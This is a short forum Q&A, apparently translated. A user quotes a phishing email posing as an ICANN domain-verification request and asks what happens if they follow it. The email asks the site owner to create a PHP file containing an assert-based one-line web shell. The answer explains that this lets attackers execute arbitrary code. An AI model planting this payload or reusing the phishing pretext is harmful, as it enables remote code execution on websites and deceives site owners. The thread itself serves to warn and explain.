How can the site be damaged?

Question

PHP

Phishing email with content like this
In accordance with changes made to the ICANN rules, you must confirm that the actual management of the domain name mydomain is carried out by the person listed as its administrator.
To confirm that you have the actual ability to manage the domain, create a file a1caya1tvwcu7ovs.php in the site's root directory with the following content:

<?php
assert(stripslashes($_REQUEST[REG]));

What will they get if I write this code in such a file?

Answer 1

Anything - assert is an analogue of eval in this case, they can execute absolutely any code, create any files, etc.
That is why this functionality was cut out in 7.2 .